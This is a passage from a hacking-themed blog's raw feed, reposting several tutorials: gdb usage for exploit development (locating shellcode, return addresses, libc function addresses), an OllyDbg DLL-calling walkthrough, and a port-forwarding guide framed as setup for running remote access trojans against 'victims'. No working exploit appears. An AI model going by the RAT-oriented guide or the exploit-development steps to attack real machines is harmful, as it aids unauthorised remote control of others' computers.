hello.c&lt;br /&gt;jesstess@kid-charlemagne:~/c$ ./hello&lt;br /&gt;jesstess@kid-charlemagne:~/c$&lt;/blockquote&gt;&lt;br /&gt;Success! It compiles, it runs, and if we step through this new version under gdb it even exits normally.&lt;br /&gt;Hello from a libc-free world!&lt;br /&gt;Stay tuned for Part 2, where we’ll walk through the parts of the executable in earnest and watch what happens to it as we add complexity, in the process understanding more about x86 linking and calling conventions and the structure of an ELF binary.&lt;br /&gt;reference: http://blog.ksplice.com/2010&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-1604405520156801457?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/1604405520156801457/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/07/much-ado-about-null-introduction-to.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/1604405520156801457'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/1604405520156801457'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/07/much-ado-about-null-introduction-to.html' title='Much ado about NULL: An introduction to virtual memory'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-1948767629676722345</id><published>2010-05-19T21:06:00.000-07:00</published><updated>2010-05-19T21:11:03.345-07:00</updated><title type='text'>How to use gdb for vuln developement</title><content type='html'>* Start gdb:&lt;br /&gt;&lt;br /&gt;[code]gdb 'executable-file'&lt;br /&gt;gdb ./vuln    // example&lt;br /&gt;&lt;br /&gt;gdb `executable-file` `core-file`&lt;br /&gt;gdb ./vuln core   // example&lt;br /&gt;[/code]&lt;br /&gt;&lt;br /&gt;If program segfaults and no core image generated do something like:&lt;br /&gt;hack@exploit:~ &gt; ulimit -c 9999&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;* Attach running process:&lt;br /&gt;&lt;br /&gt;[code]// launch gdb&lt;br /&gt;hack@exploit:~ &gt; gdb&lt;br /&gt;GNU gdb 4.18&lt;br /&gt;Copyright 1998 Free Software Foundation, Inc.&lt;br /&gt;GDB is free software, covered by the GNU General Public License, and you are&lt;br /&gt;welcome to change it and/or distribute copies of it under certain conditions.&lt;br /&gt;Type "show copying" to see the conditions.&lt;br /&gt;There is absolutely no warranty for GDB.  Type "show warranty" for details.&lt;br /&gt;This GDB was configured as "i386-suse-linux".&lt;br /&gt;(gdb) attach 'pid'&lt;br /&gt;(gdb) attach 1127 // example&lt;br /&gt;[/code]&lt;br /&gt;&lt;br /&gt;* Search anything in memory&lt;br /&gt;[code]&lt;br /&gt;(gdb) x/d or x 'address' show dezimal&lt;br /&gt;(gdb) x/100s 'address'  show next 100 dezimals &lt;br /&gt;(gdb) x 0x0804846c  show dezimal at 0x0804846c&lt;br /&gt;(gdb) x/s 'address'  show strings at address&lt;br /&gt;(gdb) x/105 0x0804846c  show 105 strings at 0x0804846c&lt;br /&gt;(gdb) x/x 'address'  show hexadezimal address&lt;br /&gt;(gdb) x/10x 0x0804846c  show 10 addresses at 0x0804846c&lt;br /&gt;(gdb) x/b 0x0804846c  show byte at 0x0804846c&lt;br /&gt;(gdb) x/10b 0x0804846c-10 show byte at 0x0804846c-10&lt;br /&gt;(gdb) x/10b 0x0804846c+20 show byte at 0x0804846c+20&lt;br /&gt;(gdb) x/20i 0x0804846c  show 20 assembler instructions at address&lt;br /&gt;[/code]&lt;br /&gt;&lt;br /&gt;* Search shellcode or return address or anything else on stack:&lt;br /&gt;[code]&lt;br /&gt;(gdb) break 'your function name or address'&lt;br /&gt;(gdb) break main   // example&lt;br /&gt;Breakpoint 1 at 0x8048409&lt;br /&gt;(gdb) run&lt;br /&gt;Starting program: /home/hack/homepage/challenge/buf/basic&lt;br /&gt;&lt;br /&gt;Breakpoint 1, 0x8048409 in main ()&lt;br /&gt;(gdb) x/1000s 'address'  // Print 1000 strings at address&lt;br /&gt;(gdb) p $esp   // Show esp register &lt;br /&gt;$2 = (void *) 0xbffff454&lt;br /&gt;(gdb) x/1000s $esp  // Search 1000 strings at $esp address. &lt;br /&gt;(gdb) x/1000s $esp-1000  // Search 1000 strings at $esp register&lt;br /&gt;    // - 1000. &lt;br /&gt;(gdb) x/1000s 0xbffff4b4 // Search 1000 strings at 0xbffff4b4 &lt;br /&gt;[/code]&lt;br /&gt;&lt;br /&gt;* Listen all sections of executable file:&lt;br /&gt;[code]&lt;br /&gt;(gdb) maintenance info sections // or&lt;br /&gt;(gdb) mai i s&lt;br /&gt;&lt;br /&gt;Exec file:&lt;br /&gt;    `/home/hack/homepage/challenge/buf/basic', file type elf32-i386.&lt;br /&gt;    0x080480f4-&gt;0x08048107 at 0x000000f4: .interp ALLOC LOAD READONLY DATA HAS_CONTENTS&lt;br /&gt;    0x08048108-&gt;0x08048128 at 0x00000108: .note.ABI-tag ALLOC LOAD READONLY DATA HAS_CONTENTS&lt;br /&gt;    0x08048128-&gt;0x08048158 at 0x00000128: .hash ALLOC LOAD READONLY DATA HAS_CONTENTS&lt;br /&gt;    0x08048158-&gt;0x080481c8 at 0x00000158: .dynsym ALLOC LOAD READONLY DATA HAS_CONTENTS&lt;br /&gt;    0x080481c8-&gt;0x08048242 at 0x000001c8: .dynstr ALLOC LOAD READONLY DATA HAS_CONTENTS&lt;br /&gt;    0x08048242-&gt;0x08048250 at 0x00000242: .gnu.version ALLOC LOAD READONLY DATA&lt;br /&gt;HAS_CONTENTS&lt;br /&gt;&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;[/code]&lt;br /&gt;* Break at address&lt;br /&gt;[code]&lt;br /&gt;(gdb) disassemble main&lt;br /&gt;Dump of assembler code for function main:&lt;br /&gt;0x8048400 &lt;main&gt;:       push   %ebp&lt;br /&gt;0x8048401 &lt;main+1&gt;:     mov    %esp,%ebp&lt;br /&gt;0x8048403 &lt;main+3&gt;:     sub    $0x408,%esp&lt;br /&gt;0x8048409 &lt;main+9&gt;:     add    $0xfffffff8,%esp&lt;br /&gt;0x804840c &lt;main+12&gt;:    mov    0xc(%ebp),%eax&lt;br /&gt;0x804840f &lt;main+15&gt;:    add    $0x4,%eax&lt;br /&gt;0x8048412 &lt;main+18&gt;:    mov    (%eax),%edx&lt;br /&gt;0x8048414 &lt;main+20&gt;:    push   %edx&lt;br /&gt;0x8048415 &lt;main+21&gt;:    lea    0xfffffc00(%ebp),%eax&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;(gdb) break *0x8048414  // example&lt;br /&gt;Breakpoint 1 at 0x8048414&lt;br /&gt;(gdb) break main  // example&lt;br /&gt;Breakpoint 2 at 0x8048409&lt;br /&gt;(gdb)&lt;br /&gt;&lt;br /&gt;[/code]&lt;br /&gt;* Delete breakpoints&lt;br /&gt;[code]&lt;br /&gt;(gdb) delete breakpoints // or&lt;br /&gt;(gdb) d b&lt;br /&gt;Delete all breakpoints? (y or n) y&lt;br /&gt;(gdb)&lt;br /&gt;[/code]&lt;br /&gt;&lt;br /&gt;* Search anything in heap, bss, got, ...:&lt;br /&gt;[code]&lt;br /&gt;(gdb) maintanance info sections&lt;br /&gt;&lt;br /&gt;0x08049570-&gt;0x08049588 at 0x00000570: .bss ALLOC&lt;br /&gt;0x00000000-&gt;0x00000654 at 0x00000570: .stab READONLY HAS_CONTENTS&lt;br /&gt;0x00000000-&gt;0x00001318 at 0x00000bc4: .stabstr READONLY HAS_CONTENTS&lt;br /&gt;0x00000000-&gt;0x000000e4 at 0x00001edc: .comment READONLY HAS_CONTENTS&lt;br /&gt;0x08049588-&gt;0x08049600 at 0x00001fc0: .note READONLY HAS_CONTENTS&lt;br /&gt;&lt;br /&gt;(gdb) x/1000s 0x08049600 // print strings heap&lt;br /&gt;(gdb) x/1000s 0x08049570 // print strings bss section&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;[/code]&lt;br /&gt;* show registers (Very useful for stack exploits)&lt;br /&gt;[code]&lt;br /&gt;(gdb) break main&lt;br /&gt;Breakpoint 7 at 0x8048409&lt;br /&gt;(gdb) r&lt;br /&gt;&lt;br /&gt;Starting program: /home/hack/homepage/challenge/buf/basic&lt;br /&gt;&lt;br /&gt;Breakpoint 7, 0x8048409 in main ()&lt;br /&gt;(gdb) info registers&lt;br /&gt;eax            0x1      1&lt;br /&gt;ecx            0x8048298        134513304&lt;br /&gt;edx            0x8048400        134513664&lt;br /&gt;ebx            0x400f6618       1074751000&lt;br /&gt;esp            0xbffff4b4       0xbffff4b4&lt;br /&gt;ebp            0xbffff8bc       0xbffff8bc&lt;br /&gt;esi            0x4000aa20       1073785376&lt;br /&gt;edi            0xbffff924       -1073743580&lt;br /&gt;eip            0x8048409        0x8048409&lt;br /&gt;eflags         0x286    646&lt;br /&gt;cs             0x23     35&lt;br /&gt;ss             0x2b     43&lt;br /&gt;ds             0x2b     43&lt;br /&gt;es             0x2b     43&lt;br /&gt;fs             0x0      0&lt;br /&gt;gs             0x0      0&lt;br /&gt;(gdb)&lt;br /&gt;&lt;br /&gt;[/code]&lt;br /&gt;* Get dynamic function pointer (Useful for return into libc exploits)&lt;br /&gt;[code]&lt;br /&gt;(gdb) break main&lt;br /&gt;Breakpoint 1 at 0x8048409&lt;br /&gt;(gdb) r&lt;br /&gt;Starting program: /home/hack/homepage/challenge/buf/./basic&lt;br /&gt;&lt;br /&gt;Breakpoint 1, 0x8048409 in main ()&lt;br /&gt;(gdb) p system&lt;br /&gt;$1 = {&lt;text variable, no debug info&gt;} 0x40052460 &lt;system&gt;&lt;br /&gt;&lt;br /&gt;(gdb) p strcpy&lt;br /&gt;$5 = {char *(char *, char *)} 0x4006e880 &lt;strcpy&gt;&lt;br /&gt;&lt;br /&gt;[/code]&lt;br /&gt;* Backtrace the stack&lt;br /&gt;[code]&lt;br /&gt;(gdb) backtrace&lt;br /&gt;(gdb) bt&lt;br /&gt;&lt;br /&gt;#0  0x8048476 in main ()&lt;br /&gt;#1  0x40031a5e in __libc_start_main () at ../sysdeps/generic/libc-start.c:93&lt;br /&gt;[/code]&lt;br /&gt;*****************************************************************************&lt;br /&gt;&lt;br /&gt;This is the end of the paper. Have questions ? Mail me: &lt;priest@priestmaster.org&gt;&lt;br /&gt;I can't write english very good. Sorry for my english. My URL is www.priestmaster.org.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-1948767629676722345?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/1948767629676722345/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/05/how-to-use-gdb-for-vuln-developement.html#comment-form' title='10 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/1948767629676722345'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/1948767629676722345'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/05/how-to-use-gdb-for-vuln-developement.html' title='How to use gdb for vuln developement'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-7471509067550212001</id><published>2010-05-02T06:16:00.000-07:00</published><updated>2010-05-02T06:26:45.425-07:00</updated><title type='text'>Port Forwarding - The Complete Guide</title><content type='html'>The Following Tutorial Includes:&lt;br /&gt;Part 1: Gathering Information&lt;br /&gt;Part 2: Port Forwarding&lt;br /&gt;Part 3: Useful Alternatives&lt;br /&gt;Part 4: Port Testing&lt;br /&gt;&lt;br /&gt;Before we begin please regard the following:&lt;br /&gt;&lt;br /&gt;What is Port Forwarding?&lt;br /&gt;There are a couple of concepts you need to know before you can understand port forwarding. I'm going to make a couple broad statements that are almost always true. For simplicity lets assume they are true for now. &lt;br /&gt;&lt;br /&gt;1.) Every device on the internet has at least one ip address. The IP address is a number that is used to identify a device. For more information on ip addresses refer to our What is an IP Address page. &lt;br /&gt;&lt;br /&gt;2.) Every IP address is divided up into many ports. When one computer sends data to another computer, it sends it from a port on an ip address to a port on an ip address. For more information on ports refer to our What is a Port page. &lt;br /&gt;&lt;br /&gt;3.) A port can only be used by one program at a time. &lt;br /&gt;(PortForward)&lt;br /&gt;&lt;br /&gt;How can we use Port forwarding?&lt;br /&gt;Port forwarding can be used for many purposes. Such as gaming applications. However, we are going to use it for other programs. Port forwarding is essential for RAT's, so naturally it is a key for this for of black hatting. Without succesfully port forwarding you cannot run a rat. No matter which rat it is. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Part One: Gathering Information&lt;br /&gt;&lt;br /&gt;What is My Router?&lt;br /&gt;Knowing what router you are using is very important. For each router has a different format for it's setting's page. You will need to know your model number and the company that makes the router.&lt;br /&gt;&lt;br /&gt;Example:&lt;br /&gt;&lt;br /&gt;Linksys WRT54G3G&lt;br /&gt;Linksys = The company&lt;br /&gt;&lt;br /&gt;Linksys WRT54G3G&lt;br /&gt;WRT54G3G = Model Number&lt;br /&gt;&lt;br /&gt;What Port Do I Want to Forward?&lt;br /&gt;Knowing which port is also important. Because, some ports are already in use, or are blocked on most computer's, including your victims. Such as port 80 and 25. Furthermore, without knowing which port to forward you cannot enter i into your RAT when you build a server.&lt;br /&gt;&lt;br /&gt;What RAT am I Using?&lt;br /&gt;You must know which RAT you are using so you know what port is best to use. This is not as important for portforwarding. But there is no point to port forward if you don't have a RAT.&lt;br /&gt;&lt;br /&gt;Do I Have a Static Ip?&lt;br /&gt;It is possible to port forward with a dynamic ip adress, but you would need to port forward every time you turn on your computer. A static ip address, however, will not change every time you restart your computer. To set up a Static Ip please referr to this guide.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Part Two: Port Forwarding&lt;br /&gt;&lt;br /&gt;Step 1. Go into your command prompt via start menu/run/cmd. &lt;br /&gt;&lt;br /&gt;Step 2. Type in: ip config &lt;br /&gt;Rows of text will appear looking something like this:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.nau.edu/resnet/support/documentation/quickstart/Windows%202000/ipconfig.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 652px; height: 331px;" src="http://www.nau.edu/resnet/support/documentation/quickstart/Windows%202000/ipconfig.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Look for the Ip Address labeled "Default Gateway."&lt;br /&gt;&lt;br /&gt;Step 3. Open up your web browser, and type in your "Default Gateway"&lt;br /&gt;Address where you usually enter websites.&lt;br /&gt;&lt;br /&gt;Step 4. A Pop up will show up asking for a username and password.&lt;br /&gt;The Default Login Information is this:&lt;br /&gt;Username: admin&lt;br /&gt;Password: admin&lt;br /&gt;If this does not work you will need to find out what was set.&lt;br /&gt;&lt;br /&gt;Step 5. Log on and a new page with your Router settings should show up&lt;br /&gt;It is different for each kind of router, but usually there is a tab&lt;br /&gt;called either Applications &amp; Gaming or Port Forwarding.&lt;br /&gt;&lt;br /&gt;Step 6. Click on the tab, Applications &amp; Gaming or Port Forwarding.&lt;br /&gt;&lt;br /&gt;Step 7. It will ask you for this:&lt;br /&gt;Application: (Just put the name of your RAT, doesnt matter)&lt;br /&gt;Start Port: (The Port you wish to forward)&lt;br /&gt;End Port: (The same Port you used for the the Start Port)&lt;br /&gt;Protocol: (Both)&lt;br /&gt;Ip Address: (Your default gateway + 00 if applicable)&lt;br /&gt;Example: 127.168.1.100 not 127.168.1.1&lt;br /&gt;&lt;br /&gt;Step 8. Check: Enable or something similar to that and click Save &lt;br /&gt;Settings.&lt;br /&gt;&lt;br /&gt;There You Go you have now succesfully Port Forwarded!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Part Three: Useful Alternatives&lt;br /&gt;&lt;br /&gt;Method 1:&lt;br /&gt;If you still cant portforward please visit this site for even more support right here. Otherwise, congratulations!&lt;br /&gt;&lt;br /&gt;Method 2:&lt;br /&gt;You can use Simple Port Forwarding Program by PCWinTech to easily port forward as well. &lt;br /&gt;&lt;br /&gt;Download it &lt;a href="http://www.majorgeeks.com/downloadget.php?id=5996&amp;file=15&amp;evp=835cdc68f6f203f10bb8e8ff69b6b2fb"&gt; here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;We will be using the Port Forwarding Feature of this program:&lt;br /&gt;&lt;br /&gt;Step 1. When you first open up the program two windows will&lt;br /&gt;open up. Click on the option boxed in red below:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://i42.tinypic.com/6zwq61.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 378px; height: 225px;" src="http://i42.tinypic.com/6zwq61.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Step 2. Then another window will show up. Click Add Custom.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://i43.tinypic.com/245dl41.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 252px; height: 162px;" src="http://i43.tinypic.com/245dl41.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Step 3. The new window will show a few blank fields. Fill in what &lt;br /&gt;you need:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://i39.tinypic.com/1z57wie.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 252px; height: 162px;" src="http://i39.tinypic.com/1z57wie.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Step 4. Click Add.&lt;br /&gt;&lt;br /&gt;There you go you have succesfully port forwarded using a program!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Part Four: Port Testing&lt;br /&gt;&lt;br /&gt;Method 1&lt;br /&gt;&lt;br /&gt;Go to: CanYouSeeMe?&lt;br /&gt;Type in the port you forwarded and click check.&lt;br /&gt;It will tell you if you have port forwarded correctly. &lt;br /&gt;&lt;br /&gt;Note: It will only say it worked if no program is already using that port.&lt;br /&gt;&lt;br /&gt;Method 2&lt;br /&gt;&lt;br /&gt;Download Port Checker from Portforward.com &lt;a href="http://www.portforward.com/store/PFPortChecker.exe"&gt; here&lt;/a&gt;&lt;br /&gt;Type in your port and let it check it for you. You will also need to make sure no other program is using it at the moment.&lt;br /&gt;&lt;br /&gt;refrence: hackforums&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-7471509067550212001?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/7471509067550212001/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/05/port-forwarding-complete-guide.html#comment-form' title='3 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/7471509067550212001'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/7471509067550212001'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/05/port-forwarding-complete-guide.html' title='Port Forwarding - The Complete Guide'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://i42.tinypic.com/6zwq61_th.jpg' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-9200589375980739818</id><published>2010-03-29T19:14:00.000-07:00</published><updated>2010-03-29T19:18:51.945-07:00</updated><title type='text'>OllyDbg "Load DLL" TUT</title><content type='html'>OllyDbg 1.10 can debug standalone DLLs. Windows is unable to launch DLL directly, so OllyDbg uses small executable named loaddll.exe. This program is kept as a packed resource. If file you are trying to open is a dynamic link library, OllyDbg automatically extracts loaddll.exe and starts it, passing library name as a parameter.&lt;br /&gt;With the help of loaddll, you can call functions exported by debugged library. I will explain this feature on the example of Windows' API functions MessageBox and wsprintf that reside in USER32.DLL.&lt;br /&gt;&lt;br /&gt;Example 1: MessageBox&lt;br /&gt;1. Load DLL in the same way as ordinary .exe file. OllyDbg issues a warning:&lt;br /&gt;&lt;br /&gt;Request to load DLL&lt;br /&gt;&lt;br /&gt;Of course, we answer with "Yes". OllyDbg starts loaddll, loads library and pauses on a breakpoint that immediately preceeds the main window loop. This address is labelled as Firstbp. Then OllyDbg analyses DLL and displays its code. Note that Windows automatically execute DLL startup code when DLL is loaded into memory.&lt;br /&gt;&lt;br /&gt;2. From the main menu, select "Debug|Call DLL export". The appearing dialog is non-modal, so you still have full access to all OllyDbg features. You can browse code and data, set breakpoints, modify memory and so on.&lt;br /&gt;&lt;br /&gt;3. Select the function you want to call. We will begin with MessageBox. Note that this name is generic, in reality there are ASCII version MessageBoxA and UNICODE version MessageBoxW. Let's try with the second one. As we select it, rectangle to the right says: Number of arguments: 4. Analyzer determined that function ends with RET 10 and correctly recognized number of parameters. RET nnn is typical for functions that use PASCAL calling convention (parameters are passed on the stack, first parameter is pushed last, function removes parameters after call). Most Windows' API functions are PASCAL-style.&lt;br /&gt;&lt;br /&gt;4. Set number of stack arguments. In our case this is not necessary, because OllyDbg already knows number of arguments in call to MessageBoxW. But, of course, you can override this decision anytime by clicking on the corresponding checkbox to the left.&lt;br /&gt;&lt;br /&gt;5. Fill list of arguments. This dialog supports up to 10 stack parameters. Parameter is any valid expression that doesn't use registers. If operand points to memory, Dump window to the right from the argument displays contents of this memory. Loaddll.exe reserves 10 memory buffers, 1 K each, labelled as Arg1 .. Arg10, that you can freely use for any purpose. Additionally, dialog supports two pseudovariables: handle of parent window &lt;Hwnd&gt; created by loaddll.exe and handle of loaddll's instance &lt;Hinst&gt;. For your convenience, when you use Call export for the first time, OllyDbg adds them to history lists.&lt;br /&gt;MessageBoxW expects 4 parameters:&lt;br /&gt;&lt;br /&gt;* handle of owner window. Here, we simply select &lt;Hwnd&gt;;&lt;br /&gt;* address of UNICODE text in message box. Select Arg2 and press Enter. Dump displays contents of memory buffer in hexadecimal format. This buffer is initially filled with zeros. Right click on the Dump and choose "Text|UNICODE (32 chars)" presentation. Select first character and press Ctrl+E (or, alternatively, choose "Binary|Edit" from menu). In the appearing window, type "Text in box" or any other text to display;&lt;br /&gt;* address of UNICODE title of message box. Select Arg3 and write "Box title" in UNICODE format to pointed memory;&lt;br /&gt;* style of message box as a combination of MB_xxx constants. OllyDbg knows them, type here MB_OK|MB_ICONEXCLAMATION.&lt;br /&gt;&lt;br /&gt;6. Set register arguments. Register arguments are seldom in exported functions. Nevertheless, OllyDbg support register arguments, too.&lt;br /&gt;&lt;br /&gt;7. Select options. Hide on call means that dialog box should disappear from the screen when function executes. This option is useful when execution takes significant time, or if you set breakpoints. You can also close dialog manually. When called function finishes execution, OllyDbg will automatically reopen Call export. Pause after call means that debugged application will be paused after execution.&lt;br /&gt;If everything is done correctly, dialog will look similar to this picture:&lt;br /&gt;&lt;br /&gt;Before call&lt;br /&gt;&lt;br /&gt;8. Call function by pressing Call.OllyDbg automatically backups all Dumps, verifies and calculates parameters and registers, removes dialog from the screen and then calls MessageBoxW. As expected, message box appears on the screen:&lt;br /&gt;&lt;br /&gt;Message box&lt;br /&gt;&lt;br /&gt;Bingo! Press OK. MessageBoxW returns and Call export reports success. Note that on return EAX contains 1. This is the numerical value of constant IDOK ("OK pressed"). This was simple, wasn't it?&lt;br /&gt;&lt;br /&gt;Example 2: wsprintf&lt;br /&gt;1. Select the function. I hope, Call export is still open? Like MessageBox, wsprintf also has two forms: ASCII wsprintfA and UNICODE wsprintfW. We will play with its ASCII form. As wsprintf accepts variable number of arguments, it uses C calling convention. Main difference from PASCAL is that it is the responsibility of calling code to clean stack from parameters after call. C functions end with RET and Analyzer is unable to determine number of arguments.&lt;br /&gt;&lt;br /&gt;2. Set number of stack arguments. wsprintfA has variable number of arguments; how many - depends on format string. Let's try the following call:&lt;br /&gt;wsprintf(Arg1,"arg3=%i, arg4=%08X",100,0x12345678);&lt;br /&gt;As you see, we have 4 arguments, so click on checkbox "4".&lt;br /&gt;&lt;br /&gt;3. Fill list of arguments.&lt;br /&gt;&lt;br /&gt;* First argument is a buffer. Choose &lt;Arg1&gt; and change dump format to ASCII (32 chars);&lt;br /&gt;* Second argument is format string. Choose &lt;Arg2&gt; and change dump to ASCII (32 chars). Select first character, press Ctrl+E (binary edit) and type format string in ASCII field;&lt;br /&gt;* Third argument is a decimal constant 100. By default, OllyDbg assumes hexadecimal format. Decimal point at the end of the constant forces decimal;&lt;br /&gt;* Fourth argument is a hexadecimal constant, just type it as is. OllyDbg accepts any form: 0x12345678, 12345678h or simply 12345678;&lt;br /&gt;&lt;br /&gt;4. Call function. If everything is done correctly, you'll get the following result:&lt;br /&gt;&lt;br /&gt;Result of call to wsprintfA&lt;br /&gt;&lt;br /&gt;Highlighted characters in dump of Arg1 are those modified by call. In register EAX, wsprintf returns number of characters in output string: 0x17 (decimal 23.).&lt;br /&gt;&lt;br /&gt;Details and sources&lt;br /&gt;loaddll.exe is a compact Win32 application written in Assembler. Have a look at its source code here. Execution begins at START. loaddll gets command line, skips name of executable (must be taken into double quotes!), extracts path to DLL and passes it to LoadLibrary. On error, it places pointer to error message on fixed location and exits with code 0x1001. On success, it creates simple main window and pauses on Firstbp. This breakpoint is set by OllyDbg on startup.&lt;br /&gt;All communication with OllyDbg is done through the 128-byte link area. This area must begin at address 0x420020 immediately after keyphrase. First several words contain addresses in loaddll.exe used by OllyDbg to set breakpoints and parameters, followed by address of function to call, contents of registers, number of arguments and arguments itself. Number of arguments is limited to 10. If argument is a pointer to memory, you can use 10 data buffers, 1 Kbyte each, named as Arg1, Arg2, ..., Arg10. These and some other names are exported and thus known to OllyDbg.&lt;br /&gt;When loaddll passes main windows loop (WINLOOP), it constantly checks whether address of exported function in PROCADR is not 0. If this is the case, loaddll saves contents of ESP and EBP and pushes 16 zeros into stack. This is necessary to avoid crash if user specifies invalid number of arguments. Then it pushes arguments and sets registers. At address Prepatch there are 16 NOPs that you can use for small patches. If you need more space, you can jump to Patcharea 2 Kbytes long. Note that OllyDbg doesn't extract loaddll.exe from resources if file with this name already exists.&lt;br /&gt;At CallDLL export is called. This command is followed by another 16 NOPs. Then routine saves modified registers and offset of ESP after call. If you supply invalid number of arguments to PASCAL-style function, OllyDbg will be able to report this error to you. Finally, loaddll restores ESP and EBP, zeroes PROCADR and breaks at INT3 at address Finished. When this point is reached, OllyDbg knows that execution is finished.&lt;br /&gt;Treat LOADDLL.ASM as a freeware. I will not protest if you use this program as whole or in parts (without copyright) in your own programs. But do not dare to use the Green Bug (LOADDLL.RC) in projects not related to OllyDbg! That's all for now, enjoy!&lt;br /&gt;&lt;br /&gt;thanks for TheOrb666&lt;br /&gt;&lt;br /&gt;reference:hackforums.net&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-9200589375980739818?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/9200589375980739818/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/03/ollydbg-load-dll-tut.html#comment-form' title='3 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/9200589375980739818'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/9200589375980739818'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/03/ollydbg-load-dll-tut.html' title='OllyDbg &quot;Load DLL&quot; TUT'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' 